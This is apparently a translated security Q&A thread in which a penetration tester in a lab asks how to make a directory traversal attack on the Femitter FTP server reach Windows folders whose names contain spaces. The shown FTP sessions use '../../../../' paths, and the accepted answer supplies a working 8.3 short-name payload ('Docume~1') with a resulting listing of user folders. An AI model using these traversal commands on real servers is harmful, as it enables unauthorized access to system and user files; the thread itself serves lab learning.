Атака обхода каталогов FTP по каталогам, содержащим пробелы

15

Я проводил санкционированный пентест в закрытой референтной среде и столкнулся с кажущейся простой проблемой, которую в настоящее время не могу решить.

При попытке выполнить атаку по обходу каталога на уязвимый FTP-сервер Fermitter, работающий в ОС MS Windows, можно создать LIST в корневом каталоге системы (адреса и списки содержимого изменены здесь только для справки):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Однако, если я хочу отобразить содержимое папки, содержащей пробелы, например Documents and settings, я не смогу отобразить содержимое каталога из-за игнорирования пробелов.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Я уже пытался использовать разные клиенты FTP (CLI и GUI, в Linux и Windows), и они либо игнорировали пробелы, либо запрещали обход каталога.

Также попытался написать сценарий атаки на Python, используя сначала raw-сокеты, а затем ftplib для отправки команд в формате HEX непосредственно на FTP-сервер, но безуспешно.

Поиск в течение нескольких часов не дал рабочего решения (да, было много вариантов, которые не работали), поэтому здесь есть кто-то, у кого была такая же проблема. Я уверен, что это не первый раз, когда требуется обход каталога с пробелами.

локаут
источник
Чувствительность к регистру не имеет значения для FTP-клиентов. По крайней мере, FTP-клиент GNU / Linux перечисляет каталоги, игнорируя регистр букв.
@lockout: чувствительность к регистру - это дело сервера, а не клиента. Клиенты перечисляют данные так же, как сервер отправляет их, и не изменяют регистр.
Штеффен Ульрих
1
Также попробуйте C: \ Docume ~ 1 \.
Собака ест кошачий мир
1
Попробуйте экранировать пробелы с \помощью строки каталога или
заключите ее в кавычки
1
Я рад, что это сработало для тебя @lockout. Поскольку у вас возникли проблемы с ответом на ваш вопрос, я согласен, что вы приняли его как ответ. Спасибо за кредитование меня.
Собака ест кошачий мир

Ответы:

16

Решение, предложенное @Dogeatcatworld для использования кратких обозначений каталогов MS Windows, таких как C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Действительно хорошая статья из MS Knowledge Base объясняет обозначение каталога 8.3: как Windows генерирует имена файлов 8.3 из длинных имен файлов

локаут
источник
2
OSCP я вижу. Чтобы добавить подсказку, для коротких каталогов, таких как «Все пользователи», отбросьте пробел и используйте «AllUse ~ 1». Вы нашли способ смонтировать FTP для интерактивного просмотра, или вы просто скачивали файлы по одному.
n00b
1

«Короткое имя» на самом деле является старым соглашением об именах DOS 8.3, поэтому все каталоги будут первыми 6 буквами, за которыми следует ~ 1, при условии, что существует только одно имя, которое соответствует, например:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG Я
ЕСЛИ КАТАЛОГ C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Другой каталог

Вот единственное исключение:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG Я ДИРЕКТОРИЯ
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Directory

Источник: Как я могу найти короткий путь к каталогу / файлу Windows?

madsport
источник
0

Ftp не использует URL-кодировку, поэтому% xx не будет работать, если вы не используете ftp в браузере, который может перевести его для вас.

Вместо этого попробуйте использовать кавычки, например: ls "../../some dir"

wireghoul
источник
1
HI, если вы посмотрите на попытки, предпринятые для обхода каталога, вы увидите, что я пытался использовать несколько кавычек: одинарные, двойные и обратные. Они не работали, как показано в списке вывода FTP. Использование% 20 было просто для экспериментов, если это сработало, из-за отчаянных попыток попробовать все варианты. Конечно, кодирование% работает в браузерах и FTP-клиентах, способных их интерпретировать.
локаут